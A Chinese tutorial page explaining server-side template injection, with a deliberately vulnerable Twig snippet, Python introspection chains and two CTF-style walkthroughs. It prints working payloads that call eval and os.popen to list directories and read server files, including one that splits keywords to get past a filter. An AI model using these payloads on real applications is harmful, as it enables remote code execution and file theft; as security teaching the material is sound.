一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

安全漏洞之SSTI模板注入深入解析实用指南

时间:2026-09-01 19:20:01 编辑:袖梨 来源:一聚教程网

平时做技术实践时,很多问题不是概念不会,而是细节没串起来。拿“安全漏洞之SSTI模板注入深入解析”来说,它看着像小点,放到项目里常会牵出环境、配置、兼容性和维护成本。下面按实际采用顺序,把思路、关键写法和容易踩坑的地方讲清楚,便于大家直接对照操作。

引文

实际处理时,上篇文章带来了反序列化漏洞的知识,还没讲过的基础漏洞类型已经很少了,今天给大家带来的知识点是SSTI模板注入,提到注入大家首先想到的肯定是SQL注入,而SSTI模板注入和SQL注入其实也存在着类似的点,下面就详细给大家讲解一下。

简介

理解这一步时,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

原理

落到代码里,我们先引入一下服务器模板,页面上的数据需不断更新,即为渲染。我们轻松举一个例子:采用 Twig 模版引擎渲染页面,其中模版含有 {{name}}变量,其模版变量值来自于 GET 请求参数 $_GET["name"] ,如果渲染的模版内容受到用户的控制,代码如下所示:

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;

能够看到上面就是个漏洞点,服务端相信了用户的输出。

SSTI类型

结合项目来看,根据模板类型的不同,包裹变量的标识符也大有不同,我们常用的模板引擎有,我们能够根据得到值的类型来判断不同的模板引擎。能够根据下图来进行判断:

基础语法

class:查看变量所属的类,根据前面的变量形式能够得到其所属的类。

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

bases:查看类所属的基类

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

能够看到上面例子,基类都归属于object。

subclasses:查看当前的子类,格式:

变量.__class__.__bases__[0].__subclasses__()

现在我们拿到了所有继承Object类的子类的引用,在调用这些子类的方法,去进行我们的模板注入,讲一下借助的前置知识。

init

__init__用来初始化类,意思就是拿到一个类之后要采用__init__之后我们才能够调用里面的函数和属性。

global

结合项目来看,得到当前位置的全部模块,方法和全局变量,配合着__init__采用。

builtins

从实现思路看,内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。

import

实际处理时,动态加载类和函数,也就是导入模块,用来导入os模块__import__('os').popen('ls').read()]。

例题

学习到现在,我们能够尝试做一个题目来巩固一下:

落到代码里,先查找有没有可用的子类,遍历发现<class 'warnings.catch_warnings'> 借助这个子类能够查看目录:

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

读取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

得到flag。

过滤器

结合项目来看,当然真正的题目不可能会这么轻松,里面会包含着过滤函数,过滤特殊字符等操作,下面给大家讲讲过滤器的知识点。

attr

用来拿到变量,可用来. [] 都被过滤的情况

join

落到代码里,将一个序列拼接成一个字符串,join ('|')将令每一个元素被'|'隔开

lower

将字符串转换为小写

string

将变量转换为字符串,能够用符号构造出我们可借助的字符串、符号等。

reverse

字符反转

format

格式化字符串

在这个场景下,以上就轻松举了点过滤器的例子与用法,当然上面列举的只是一小部分,除了这些还有很多的过滤器,一一列举是列举不完的

进阶

从实现思路看,下面讲一个有点难度的题带大家加深理解,进去题目发现是一个如下所示的解码加密网站。

实际处理时,用{{7*7}}加密解密得到49确定存在ssti模板注入,回显是base64编码的。轻松fuzz后发现过滤了flag、import、os、eval等关键词。我们构造拆分语句:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放到解码区,去解码得到文件目录:

进一步拼接去查看flag就OK了,构造最后payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

结语

落到代码里,今天比较详细的讲了SSTI模板注入漏洞的原理以及应用方法,可能刚开始学不太好理解,能够根据之前SQL注入的思路去理解一下。有兴趣的小伙伴能够自己去搭建靶机来进行测试,以上就是SSTI模板注入深入解析的详细内容,更多关于SSTI模板注入的资料请关注脚本之家其它相关文章!

您可能感兴趣的文章:
  • PHP反序列化漏洞实例深入解析
  • PHP开发技巧之PHAR反序列化详解
  • PHPCMS2008广告模板SQL注入漏洞修复
  • Web网络安全漏洞分析SQL注入原理详解
  • 如何防范PowerShell代码注入漏洞绕过受限语言模式
  • PHP序列化/对象注入漏洞分析

热门栏目